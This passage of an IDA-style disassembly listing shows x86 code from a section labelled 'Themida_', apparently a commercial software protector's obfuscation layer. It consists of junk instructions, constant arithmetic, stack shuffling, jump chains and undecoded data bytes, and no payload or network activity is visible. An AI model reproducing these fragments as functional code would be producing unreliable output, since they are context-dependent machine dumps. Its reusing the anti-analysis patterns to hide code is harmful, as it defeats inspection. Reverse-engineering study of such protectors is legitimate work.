		dd 34FF3889h, 89505F24h, 77F9E9E0h, 0C7810000h,	4, 4EF81h
		dd 51E90000h, 5E00005Ch, 0B13AE9h, 0C895C00h, 0F266E924h
		dd 0C89FFFFh, 889AB124h, 0D9B559CEh, 0ADF1E9h
		db 0
; ---------------------------------------------------------------------------

loc_54CF9D:				; CODE XREF: Themida_:0055581Bj
		pop	edx
		sub	bl, 51h
		add	bl, al
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		push	bx
		jmp	loc_5577C1
; ---------------------------------------------------------------------------
aXS4a		db 'X(Óé4A',0
		align 4
		dd 5124048Fh, 4B9h, 244C0100h, 555B5904h, 211FE9h, 24248B00h
		dd 240C8B66h, 7CA9E9h
		db 0
; ---------------------------------------------------------------------------

loc_54CFDD:				; CODE XREF: Themida_:005501B1j
		push	6A15h
		mov	[esp], ebx
		jmp	loc_54C992
; ---------------------------------------------------------------------------

loc_54CFEA:				; CODE XREF: Themida_:00556F7Fj
		mov	ebp, [esp]
		add	esp, 4
		sub	ecx, ebp
		push	edx
		mov	edx, 33541900h
		and	edx, 7C8C0BA1h
		sub	edx, 0B8ACDB52h
		sub	ecx, edx
		pop	edx
		mov	ebp, [esp]
		push	esi
		jmp	loc_555141
; ---------------------------------------------------------------------------

loc_54D010:				; CODE XREF: Themida_:00554050j
		add	esp, 4
		jmp	loc_54D351
; ---------------------------------------------------------------------------
		dd 3BF3805Ah, 6EE9A404h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D023:				; CODE XREF: Themida_:0054E753j
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		push	esi
		push	ebx
		pop	esi
		push	esi
		jmp	loc_5522E0
; ---------------------------------------------------------------------------

loc_54D03A:				; CODE XREF: Themida_:005526C0j
		add	ebp, 3D130111h
		xor	ebp, 50BF1B75h
		sub	ebp, 0CA3080EFh
		jmp	loc_54C503
; ---------------------------------------------------------------------------

loc_54D051:				; CODE XREF: Themida_:00553F6Aj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	695Eh
		push	esp
		pop	dword ptr [esp]
		jmp	loc_551F94
; ---------------------------------------------------------------------------
		dd 24048B66h, 22E2E9h
		db 0
; ---------------------------------------------------------------------------

loc_54D071:				; CODE XREF: Themida_:0055260Dj
		pop	esi
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_558446
; ---------------------------------------------------------------------------
		db 80h
		dd 0A0E952C1h, 66FFFFFDh, 68240C8Bh, 12DFh, 54243C89h
		dd 83243C8Bh, 0E95604C4h, 0A9F2h
; ---------------------------------------------------------------------------

loc_54D0A4:				; CODE XREF: Themida_:00556E2Ej
		and	eax, ebx
		pop	ebx
		xor	eax, 220840CAh
		push	4888h
		mov	[esp], eax
		xor	dword ptr [esp], 3ED959A0h
		pop	esi
		xor	esi, 3ED959A0h
		jmp	loc_553CC5
; ---------------------------------------------------------------------------

loc_54D0C7:				; CODE XREF: Themida_:0054C7C0j
		pop	ebp
		dec	eax
		xchg	eax, ebx
		jmp	loc_54F681
; ---------------------------------------------------------------------------
		db 0FEh
		dd 0AAC380CBh, 0FFF810E9h, 240489FFh, 1741E9h, 0E9EB3100h
		dd 0FFDh
; ---------------------------------------------------------------------------

loc_54D0E8:				; CODE XREF: Themida_:005546CBj
		pop	esp
		mov	[esp], ebx
		mov	bl, 0D4h
		add	al, bl
		push	dword ptr [esp]
		jmp	loc_54EBFB
; ---------------------------------------------------------------------------
		dd 347AF4BBh, 11ED685Eh, 14890000h, 4FBABA24h, 0F2811FCBh
		dd 29D958ADh, 0E2C1DAF7h, 0FE94204h, 8100001Bh,	770907E7h
		dd 88CF8116h, 0E909AC3Ch, 0FFFFF4EDh, 0D3EF815Ah, 1389F5Ah
		dd 5C13E9CFh, 0C8010000h, 6973C52Dh, 68742D64h,	0C8B5794h
		dd 0B5EE924h, 0E2D10000h, 63ECEA81h, 0D08976FEh, 8324148Bh
		dd 0C10104C4h, 8124048Bh, 4C4h,	74FF5100h, 8F590424h, 248B2404h
		dd 2424D224h, 4A0BE99Ch, 15B0000h, 243C8BF9h, 5104C483h
		dd 42474FFh, 3D33E9h, 24348B00h, 4C481h, 0BA520000h, 4
		dd 0E95AD329h, 0A824h, 0FFF047E9h, 4C383FFh, 8B241C87h
		dd 0C1812424h, 4, 7C4CE9h
		db 0
; ---------------------------------------------------------------------------

loc_54D1C1:				; CODE XREF: Themida_:005575C1j
		push	ax
		pushf
		jmp	loc_54C1F4
; ---------------------------------------------------------------------------
		db 0E9h, 26h, 0F0h
		dd 0EA31FFFFh, 5AD0015Dh, 0FFFC9CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D1D9:				; CODE XREF: Themida_:00552017j
		push	edx
		mov	edx, 49B730F3h
		add	[esp+0Ch], edx
		mov	edx, [esp]
		add	esp, 4
		sub	[esp+8], edi
		push	eax
		mov	eax, 49B730F3h
		sub	[esp+0Ch], eax
		pop	eax
		mov	edi, [esp]
		add	esp, 4
		add	[esp+4], ebp
		add	dword ptr [esp+4], 6255D6Ch
		pop	ebp
		pop	eax
		jmp	loc_55684D
; ---------------------------------------------------------------------------
		dd 315BDD29h, 1B2D5DE8h, 81F824C4h, 0AE197CC6h,	99C68173h
		dd 29387009h, 99EE81C6h, 0E9387009h, 267Fh, 0E9243C89h
		dd 4743h, 24148966h, 0E90AB151h, 9CC7h,	0FFEFA3E9h, 4BB53FFh
		dd 1000000h, 241C8BD8h,	4C481h,	0E9560000h, 0D25h, 8324248Bh
		dd 0EB8104C4h, 23F62205h, 4EC81h, 14890000h, 0F2BD5524h
		dd 8136C20Eh, 9C740DEDh, 4DED8129h, 89FA553Eh, 0E9525DEAh
		dd 75DFh
; ---------------------------------------------------------------------------

loc_54D298:				; CODE XREF: Themida_:00552ABAj
		add	ebx, 0D4AEC1C2h
		and	ecx, ebx
		pop	ebx
		xor	ecx, 4C4676BBh
		not	ecx
		add	ecx, 0C9D1AA05h
		and	ebp, ecx
		pop	ecx
		jmp	loc_558497
; ---------------------------------------------------------------------------

loc_54D2B7:				; CODE XREF: Themida_:0054C2D1j
		pop	ecx
		jmp	loc_55078F
; ---------------------------------------------------------------------------

loc_54D2BD:				; CODE XREF: Themida_:00553465j
		shl	edi, 4
		sub	edi, 0F760FD80h
		jmp	loc_556AD0
; ---------------------------------------------------------------------------
		db 81h
		dd 4C191BC6h, 81DE0130h, 4C191BEEh, 61C68130h, 5B7E6421h
		dd 8702C683h, 248B2434h, 0E6895624h, 2AADE9h
		db 0
; ---------------------------------------------------------------------------

loc_54D2F1:				; CODE XREF: Themida_:00552BBBj
		sub	esp, 4
		jmp	loc_551DDB
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 0FFFFFFFFh, 1989E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D30A:				; CODE XREF: Themida_:00552FBAj
		mov	ebx, 166E6783h
		push	edi
		mov	edi, 64418C9h
		add	edi, 7DA36FDh
		add	ecx, edi
		pop	edi
		sub	ecx, ebx
		sub	ecx, 0E1E4FC6h
		pop	ebx
		not	ecx
		xor	ecx, 114D0803h
		xor	eax, ecx
		pop	ecx
		mov	esi, [esp]
		add	esp, 4
		push	3A1Ch
		mov	[esp], edx
		push	1989357Bh
		mov	edx, [esp]
		push	eax
		jmp	loc_55084F
; ---------------------------------------------------------------------------

loc_54D351:				; CODE XREF: Themida_:0054D013j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_54D4E9
; ---------------------------------------------------------------------------

loc_54D365:				; CODE XREF: Themida_:0054DBD4j
		jz	loc_554731
		push	dword ptr [edi+1Ch]
		push	esi
		jmp	loc_552FCA
; ---------------------------------------------------------------------------
		dd 241CF766h, 0EE76E99Ch, 835BFFFFh, 0F381FFEBh, 99588047h
		dd 97ABE9h
		db 0
; ---------------------------------------------------------------------------

loc_54D38D:				; CODE XREF: Themida_:00552866j
		push	edx
		mov	edx, 4E42F41h
		add	edx, 6E026324h
		xor	edx, 3BAA4579h
		jmp	loc_54C819
; ---------------------------------------------------------------------------

loc_54D3A4:				; CODE XREF: Themida_:00553B9Ej
		pop	ebx
		xor	ebx, edi
		pop	edi
		shr	ebx, 1
		push	ecx
		jmp	loc_557EFF
; ---------------------------------------------------------------------------

loc_54D3B0:				; CODE XREF: Themida_:0054E748j
		push	eax
		mov	eax, 0F8274C3h
		sub	ebx, eax
		mov	eax, [esp]
		jmp	loc_54F73D
; ---------------------------------------------------------------------------
		dd 61BAC381h, 148B56DBh, 85EDE924h, 4BD0000h, 0E9000000h
		dd 0A42Eh, 0B20ED81h, 148B21CEh, 0A547E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D3E6:				; CODE XREF: Themida_:00554D42j
		sub	edi, 70CD1D4Eh
		add	edi, esi
		add	edi, 70CD1D4Eh
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_54E3ED
; ---------------------------------------------------------------------------
		db 0B3h
		dd 8EBC019h, 285EF380h,	0C6E95BD8h, 0FF000075h,	0EDDAE930h
		dd 0E789FFFFh, 1B9CE9h,	74BF5700h, 1671F7Fh, 0BD555FF8h
		dd 27C16A68h, 1362BB53h, 8BE910F8h, 80FFFFF4h, 0D020A9C2h
		dd 61CEE9h, 40500h, 4870000h, 24248B24h, 0ED9EE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D456:				; CODE XREF: Themida_:005507FCj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 38A6322Fh
		inc	esi
		add	esi, 74204D0h
		shr	esi, 3
		xor	esi, 222596EEh
		jmp	loc_5558CF
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0FF243489h, 8B042474h, 0C4832434h, 24048F04h, 0E930FF5Ch
		dd 0FFFFED60h, 33240C31h, 0D35C240Ch, 0E99C2404h, 0FFFFED50h
		dd 31240C33h, 0C33240Ch, 4895C24h, 0E9E08924h, 0AE54h
		dd 46C1E953h, 5590000h,	40F2408Dh, 8D2DF029h, 5240F240h
		dd 0A183ABAh, 0F8EA8150h, 8155D85Fh, 5B6812C2h,	5D6DE97Fh
		dd 0C3280000h, 5327E9h
		db 0
; ---------------------------------------------------------------------------

loc_54D4E9:				; CODE XREF: Themida_:0054D360j
		jmp	loc_54C1F4
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 2D000000h, 7514559Dh, 0A207E9h, 0C8B6600h, 40456824h
		dd 0C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		jmp	loc_553C88
; ---------------------------------------------------------------------------
		dw 0B968h
		dd 89000018h, 9C502414h, 3198E9h
		db 0
; ---------------------------------------------------------------------------

loc_54D521:				; CODE XREF: Themida_:00551D18j
		dec	cx
		jmp	loc_550273
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 0AE90000h, 56000091h, 0BB6EB6BEh
		dd 27F68178h, 2D495052h, 44B47767h, 0A4CDE9h, 1C875A00h
		dd 0FA2FE924h, 34FFFFFFh, 24048B24h, 4C481h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ecx
		push	4
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_550B17
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 5C24048Fh, 196BE9h, 2C58100h, 87000000h, 248B242Ch
		dd 24040824h, 0EC5AE99Ch, 8058FFFFh, 0EB00D8C3h, 8BD8EB80h
		dd 0C483240Ch, 0C0B60F04h, 0E98734FFh, 0FFFFEC40h, 0FFEC3BE9h
		dd 5EF101FFh, 0C66E9h, 41C28000h, 0F3E28058h, 3004F280h
		dd 1BE95AD0h
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D5D3:				; CODE XREF: Themida_:00550C2Dj
		neg	dh
		mov	ch, dh
		pop	dx
		xchg	ch, bl
		push	eax
		mov	al, 33h
		xor	bl, al
		pop	eax
		mov	dh, bl
		pop	ebx
		xor	al, dh
		mov	dx, [esp]
		add	esp, 2
		jmp	loc_55330A
; ---------------------------------------------------------------------------
		db 49h,	81h, 0F1h
		dd 7EC509E3h, 26D6F181h, 0C1815522h, 0FFFFFFFFh, 0B832F181h
		dd 0CA89AA8Bh, 83240C8Bh, 0F20104C4h, 5D25E9h, 0F7CF8700h
		dd 31CF31D1h, 0D1CF31F9h, 4EC81EFh, 89000000h, 27E9241Ch
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D637:				; CODE XREF: Themida_:00555616j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		or	eax, eax
		jmp	loc_54F926
; ---------------------------------------------------------------------------
		db 0BBh, 0A2h, 24h
		dd 32E91CDAh
		db 0ACh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D65B:				; CODE XREF: Themida_:00553DABj
		inc	edx
		jmp	loc_54FF68
; ---------------------------------------------------------------------------
		db 68h,	0BBh, 7
		dd 41E90000h, 0FF00007Fh, 0C8B3877h, 4F87E924h,	3C330000h
		dd 24248B24h, 24048B66h, 4EC8356h, 81242489h, 42404h, 348B0000h
		dd 28E95224h
		db 0A5h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D697:				; CODE XREF: Themida_:0055081Cj
		shl	esi, 4
		jmp	loc_552605
; ---------------------------------------------------------------------------

loc_54D69F:				; CODE XREF: Themida_:00556582j
		pop	ebp
		add	edi, ecx
		jmp	loc_54C2DD
; ---------------------------------------------------------------------------
		db 80h
		dd 0EBC001C3h, 81B45006h, 0F6ACF480h, 25CC80DCh, 80C7CC80h
		dd 0E30855F4h, 57EEE9h
		db 0
; ---------------------------------------------------------------------------

loc_54D6C5:				; CODE XREF: Themida_:0054F965j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_550155
; ---------------------------------------------------------------------------

loc_54D6D6:				; CODE XREF: Themida_:0054DFF3j
		mov	[esp], ebx
		jmp	loc_552142
; ---------------------------------------------------------------------------

loc_54D6DE:				; CODE XREF: Themida_:0054CAA5j
		mov	eax, 42717BC8h
		shr	eax, 3
		push	eax
		not	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, 0FFFFFFFFh
		add	eax, edx
		pop	edx
		shl	eax, 8
		add	eax, 6BC3DDA6h
		xor	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	4C91h
		jmp	loc_5556E1
; ---------------------------------------------------------------------------
		dw 16B0h
		dd 0FE1CB652h, 1C09E9CEh, 0E6890000h, 4C681h, 51500000h
		dd 6B55D9B9h, 56BFE964h, 842D0000h, 5B256710h, 72BE95Fh
		dd 0E7C10000h, 646DE908h, 33040000h, 0EC83F828h, 0C896602h
		dd 2833B124h, 5B5966C8h, 9D39E9h, 4EC8100h, 89000000h
		dd 0C4E92414h, 3100008Eh, 14332414h, 24248B24h,	9C240400h
		dd 0FFEA7BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D779:				; CODE XREF: Themida_:00557F4Fj
		add	ebp, esi
		pop	esi
		add	eax, ebp
		pop	ebp
		jmp	loc_55059E
; ---------------------------------------------------------------------------
aHgUAsp		db 'hg\u:]Ñíé¯`',0
		dd 66C33100h, 59E930FFh, 0F7FFFFEAh, 9BEA81DAh,	81246D08h
		dd 0CE0FA4F2h, 0FBF28149h, 0C1668D32h, 1CE904E2h, 5E00000Ah
		dd 44BE5653h, 0BB31D124h, 91A65B81h, 348BF329h,	4C48324h
		dd 95BD931h, 0C8B1C4Fh,	36B3E924h, 0C5280000h, 0D9E95B58h
		dd 0BB000072h, 2, 1C8BD829h, 4547E924h,	74FF0000h, 8F5D0424h
		dd 248B2404h, 241C8924h, 761C68h, 24248900h, 4240483h
		dd 81241C8Bh, 4C4h, 4C38100h, 81000000h, 2C3h, 74FF5300h
		dd 8F5B0424h, 0A2E92404h, 89FFFFF7h, 0EFB82404h, 9452629h
		dd 2DE958C3h, 80000082h, 0C3809DEBh, 80C3800Bh,	0B468C328h
		dd 8900007Ah, 0C5E92404h
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D857:				; CODE XREF: Themida_:00553F1Fj
		sub	bh, 0A4h
		add	bh, 84h
		mov	ah, bh
		pop	ebx
		mov	dl, 75h
		jmp	loc_5508E7
; ---------------------------------------------------------------------------
aZSpi		db '‡<$épi',0
		db 0
; ---------------------------------------------------------------------------

loc_54D86F:				; CODE XREF: Themida_:0054E894j
		push	esi
		push	eax
		mov	eax, 305E4198h
		jmp	loc_555EBA
; ---------------------------------------------------------------------------

loc_54D87B:				; CODE XREF: Themida_:00556D88j
		push	423Fh
		jmp	loc_557203
; ---------------------------------------------------------------------------

loc_54D885:				; CODE XREF: Themida_:005512EAj
		pop	dword ptr [eax]
		jmp	loc_54C1F4
; ---------------------------------------------------------------------------
		dd 0EC68E9F7h, 89000066h, 8B54240Ch, 0C481240Ch, 4, 4BD55h
		dd 0E9010000h, 6852505Dh, 6C897782h, 81EAD15Ah,	44BBC5F2h
		dd 5AD08936h, 0D06C181h, 0C1290E66h, 0D06BB53h,	0D9290E66h
		dd 24048B5Bh, 5104C483h, 42474FFh, 374AE9h, 0EC815F00h
		dd 4, 0BA241489h, 7714EF7h, 41DCF281h, 0EA81335Dh, 5BBE7194h
		dd 50FFEA83h, 961D8CB8h, 0E9514032h, 1D1Ch
; ---------------------------------------------------------------------------

loc_54D908:				; CODE XREF: Themida_:00551602j
		and	eax, edi
		jmp	loc_557E9D
; ---------------------------------------------------------------------------

loc_54D90F:				; CODE XREF: Themida_:0055210Fj
		push	cx
		mov	cl, 24h
		add	bl, 87h
		sub	bl, cl
		sub	bl, 87h
		pop	cx
		add	bl, 3Fh
		sub	bl, cl
		push	ax
		jmp	loc_54ECF0
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 8F000000h, 248B2404h, 0C8B60F24h, 0FFF25DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D93D:				; CODE XREF: Themida_:00553638j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 5438231Bh
		mov	esi, 0A4C8215Ch
		xor	esi, eax
		pop	eax
		add	esi, edi
		pop	edi
		mov	ebx, 46E712D9h
		shl	ebx, 4
		and	ebx, 33F928EAh
		xor	ebx, 42657F9Dh
		jmp	loc_5534B5
; ---------------------------------------------------------------------------
		dd 0BD242C89h, 2, 51E9EB89h, 54000068h,	4C7815Fh, 68000000h
		dd 2DE1h, 50241489h, 4B8h, 58C28900h, 148BD729h, 4C48324h
		dd 8B243C87h, 14892424h, 815A5424h, 4C2h, 2EA8300h, 5C241487h
		dd 58B8E9h, 0E8885000h,	0F658C388h, 0A868E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D9C6:				; CODE XREF: Themida_:00551625j
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_5548F5
; ---------------------------------------------------------------------------

loc_54D9D7:				; CODE XREF: Themida_:0054F5C2j
		mov	esp, [esp]
		xchg	eax, edx
		push	51F8h
		mov	[esp], ecx
		push	1
		mov	ecx, [esp]
		push	4409h
		mov	[esp], edx
		mov	edx, esp
		push	ebx
		mov	ebx, 69F86B0Bh
		jmp	loc_558286
; ---------------------------------------------------------------------------

loc_54DA00:				; CODE XREF: Themida_:00550680j
		xor	edx, 250C7041h
		jmp	loc_557B36
; ---------------------------------------------------------------------------
		db 0B8h
		dd 62D45627h, 56FFE883h, 0D45624BEh, 5EF02962h,	9070E9h
		db 0
; ---------------------------------------------------------------------------

loc_54DA21:				; CODE XREF: Themida_:00557298j
		pop	edx
		add	eax, edi
		add	eax, 5FC1B11h
		mov	[eax], esi
		jmp	loc_555CC3
; ---------------------------------------------------------------------------
		dd 2B60F66h, 53BB68h, 240C8900h, 240C8B54h, 9C19E9h, 22EAB900h
		dd 0B85016EAh, 8BE761Bh, 2D04E0C1h, 6FC06D08h, 68h, 24042900h
		dd 0E5CE9h, 240C8B00h, 7F61E952h, 5E540000h, 4BD55h, 0C6810000h
		dd 17FA23E9h, 0EE81EE01h, 17FA23E9h, 0BF57555Dh, 2, 6443E9h
		dd 4EC8300h, 0E9241489h, 0AF8h,	0FF2434FFh, 0B7E92434h
		dd 81000057h, 4C1h, 4C18300h, 2474FF51h, 67E95904h, 6600009Eh
		dd 6824048Bh, 2CD9h, 54240C89h,	4C18159h, 81000000h, 4ECh
		dd 243C8900h, 4EC81h, 1C890000h, 2BB24h, 0DF890000h, 0FFF691E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DAED:				; CODE XREF: Themida_:005523F5j
		mov	esi, 622C6979h
		xor	esi, 225D74CDh
		xor	esi, 2F6659B1h
		add	esi, 7EAEEF0h
		sub	ebx, esi
		pop	esi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_550427
; ---------------------------------------------------------------------------

loc_54DB16:				; CODE XREF: Themida_:00557EA2j
		mov	ecx, esp
		push	edi
		mov	edi, 4
		jmp	loc_554EFF
; ---------------------------------------------------------------------------

loc_54DB23:				; CODE XREF: Themida_:00556EE9j
		mov	ebp, 6A665F94h
		neg	ebp
		jmp	loc_5526BD
; ---------------------------------------------------------------------------
		db 5
		dd 0FE0237E8h, 158C789h, 2B05E9FAh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54DB3E:				; CODE XREF: Themida_:00550CCFj
		xchg	eax, ebp
		jmp	loc_54E152
; ---------------------------------------------------------------------------

loc_54DB44:				; CODE XREF: Themida_:005514C1j
		neg	ecx
		jmp	loc_55813E
; ---------------------------------------------------------------------------
		db 55h
		dd 0EC83DD89h, 242C8904h, 6DEE95Ah, 0C4830000h,	0E70CE904h
		dd 0D831FFFFh, 0CE6857h, 0E95F41CBh, 0FFFFFBCAh, 241C8B54h
		dd 5204C483h, 0FFE998E9h, 1FF8BBFFh, 0EB814EF4h, 0EF99B4EDh
		dd 37E9DF29h, 6800007Bh, 5BD7h,	81242C89h, 25DC2404h, 1FE9014Ch
		dd 0BE00006Dh, 75792FFCh, 3AE9CE31h, 83000097h,	0E86804C4h
		dd 8900001Dh, 0B1E9241Ch
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DBBF:				; CODE XREF: Themida_:00554FA7j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		or	eax, eax
		jmp	loc_54D365
; ---------------------------------------------------------------------------

loc_54DBD9:				; CODE XREF: Themida_:0055627Cj
		mov	esp, [esp]
		mov	[esp], edx
		mov	dl, 0E0h
		push	ax
		mov	al, 54h
		sub	dl, al
		jmp	loc_54E54A
; ---------------------------------------------------------------------------

loc_54DBEC:				; CODE XREF: Themida_:0055458Aj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_54EE48
; ---------------------------------------------------------------------------
		db 87h
		dd 535C2414h, 0D3F68FB3h, 0E907E3C0h, 59F6h, 1A2468h, 240C8900h
		dd 0FFFE2CE9h, 0CF815EFFh, 1E0D0600h, 0FFE975E9h, 0E9E2D1FFh
		dd 8104h, 51D42CACh, 0E180D6B1h, 86C9E9A3h, 48D0000h, 1D306887h
		dd 2C890000h, 61D5E924h, 8B660000h, 54532404h, 0E9241C8Bh
		dd 3E07h
; ---------------------------------------------------------------------------

loc_54DC58:				; CODE XREF: Themida_:005576FFj
		not	ebx
		sub	ebx, 2CF75A0Ch
		xor	ebx, 16CE2337h
		sub	ebx, 4DC37567h
		jmp	loc_54E2EE
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 55000000h, 2BDh, 5DEA2900h, 8B241487h, 89662424h, 0EEE9240Ch
		dd 8B00004Ah, 0C481243Ch, 4, 4C381h, 1C870000h,	24248B24h
		dd 0E99CC83Bh, 0FFFFE548h, 4C481h, 0BA520000h, 2, 801B0405h
		dd 2DD00158h, 58801B04h, 2404335Ah, 33240431h, 91E92404h
		dd 66000018h, 343B345Ah, 8BC730EAh, 0C4832404h,	30FEB204h
		dd 9DF5E9FAh, 48F0000h,	24248B24h, 8952F9F7h, 4C281E2h
		dd 0E9000000h, 5A6Eh, 0B5240C89h, 59EF8818h, 0E901C780h
		dd 2F6Bh, 8159CB01h, 4ECh, 24048900h, 2B8h, 0BAEB8100h
		dd 121276Eh, 0BAC381C3h, 8B21276Eh, 0C4812404h,	4, 8B241C87h
		dd 0ACE92424h, 1000035h, 14875EF2h, 0B5E95C24h,	0D0000020h
		dd 0EDE952E0h, 83000083h, 895704C4h, 4C781E7h, 55000000h
		dd 662AE9h, 0DD015A00h,	0EA4E95Bh, 5A590000h, 0C8BCE01h
		dd 0E2895224h, 4C281h, 0BD550000h, 4, 875DEA01h, 875C2414h
		dd 248B2434h, 725BE924h, 3C8B0000h, 4C48324h, 0E8C1D8F7h
		dd 3F6C0504h, 0EC810201h, 4, 0BE243489h, 646F2A53h, 3786E9h
		dd 240C8900h, 42474FFh,	0E9240C8Bh, 0FFFFF7ADh,	331A2DADh
		dd 67051A18h, 0E94C1E2Ch, 5C50h, 81241C8Bh, 4C4h, 242C8700h
		dd 240C895Ch, 17D6E9h
		db 0
; ---------------------------------------------------------------------------

loc_54DDF1:				; CODE XREF: Themida_:0054CD83j
		pop	ebx
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 548F2099h
		and	ebp, 26842D98h
		jmp	loc_55187D
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4835Ah, 0F703EFC1h, 398E68D7h, 14890000h, 0B9B85024h
		dd 8940B975h, 0D72158C2h, 924FE9h, 2FE95B00h, 3500005Bh
		dd 370D7577h, 17842C05h, 58C601B3h, 5602C683h, 42474FFh
		db 8Bh,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_557F5A
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0E1895124h, 1D0CE9h,	28016800h, 0C890000h, 57D6B924h
		dd 0CB0130CFh, 0D4AE959h, 0E9570000h, 1551h
; ---------------------------------------------------------------------------

loc_54DE80:				; CODE XREF: Themida_:00554E41j
		mov	edi, 3A4C31F6h
		and	edi, 42945FEFh
		and	edi, 731A0DF4h
		dec	edi
		and	edi, 626F5BF0h
		add	edi, 0FDFFFE24h
		add	esi, edi
		pop	edi
		jmp	loc_54E49A
; ---------------------------------------------------------------------------

loc_54DEA6:				; CODE XREF: Themida_:005508E9j
		mov	eax, [esp]
		add	esp, 4
		xor	al, dl
		mov	dx, [esp]
		push	ecx
		jmp	loc_552ED1
; ---------------------------------------------------------------------------
		db 1
		dd 36C681CEh, 593CA615h, 8904EC83h, 74FF2434h, 34FF0424h
		dd 89505E24h, 405E0h, 0C0830000h, 24048704h, 3B11E9h, 1794BF00h
		dd 98BA62DBh, 2962DB17h, 0D7295FFAh, 6CA8E95Ah,	34FF0000h
		dd 3DE95D24h, 5A000071h, 82BE281h, 59E90684h, 5B000097h
		dd 0FFEF4CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DF15:				; CODE XREF: Themida_:005540A3j
		inc	edx
		sub	edx, 432A7AF3h
		shr	edx, 7
		or	edx, 190935ABh
		shl	edx, 5
		sub	edx, 2C45DBDh
		mov	esi, edx
		pop	edx
		push	ecx
		mov	ecx, 35E7049Dh
		add	esi, ecx
		pop	ecx
		sub	edx, esi
		mov	esi, [esp]
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		xchg	edx, [esp]
		jmp	loc_5507A0
; ---------------------------------------------------------------------------

loc_54DF64:				; CODE XREF: Themida_:00551E3Bj
		mov	edi, 4
		sub	ebp, 9B95881h
		add	ebp, edi
		push	ecx
		mov	ecx, 9B95881h
		add	ebp, 6E5F4CD5h
		add	ebp, ecx
		sub	ebp, 6E5F4CD5h
		pop	ecx
		pop	edi
		push	ebp
		jmp	loc_5522A3
; ---------------------------------------------------------------------------
		db 0BEh, 0CEh, 13h
		dd 0F68145A9h, 273B3FDBh, 41D1EE81h, 0D6F70346h, 15BFF681h
		dd 1FE9A0B4h, 46000010h, 6E6C14Eh, 4D22E9h, 5BD90100h
		dd 4C181h, 0E7E90000h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DFC3:				; CODE XREF: Themida_:00552153j
		not	ebx
		jmp	loc_54F52A
; ---------------------------------------------------------------------------

loc_54DFCA:				; CODE XREF: Themida_:00557ADAj
		and	ebx, 2DCE0609h
		sub	ebx, 0AB96DD1Eh
		xor	eax, ebx
		pop	ebx
		sub	eax, 46B92AEAh
		mov	ecx, eax
		pop	eax
		or	[edi+1Ch], ecx
		mov	ecx, [esp]
		add	esp, 4

loc_54DFED:				; CODE XREF: Themida_:005557C3j
		sub	esp, 4
		jmp	loc_54D6D6
; ---------------------------------------------------------------------------

loc_54DFF8:				; CODE XREF: Themida_:00552E80j
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edx
		push	edi
		push	eax
		push	ebp
		mov	ebp, 604A78B3h
		mov	eax, 73E24AAEh
		xor	eax, ebp
		pop	ebp
		jmp	loc_555DEC
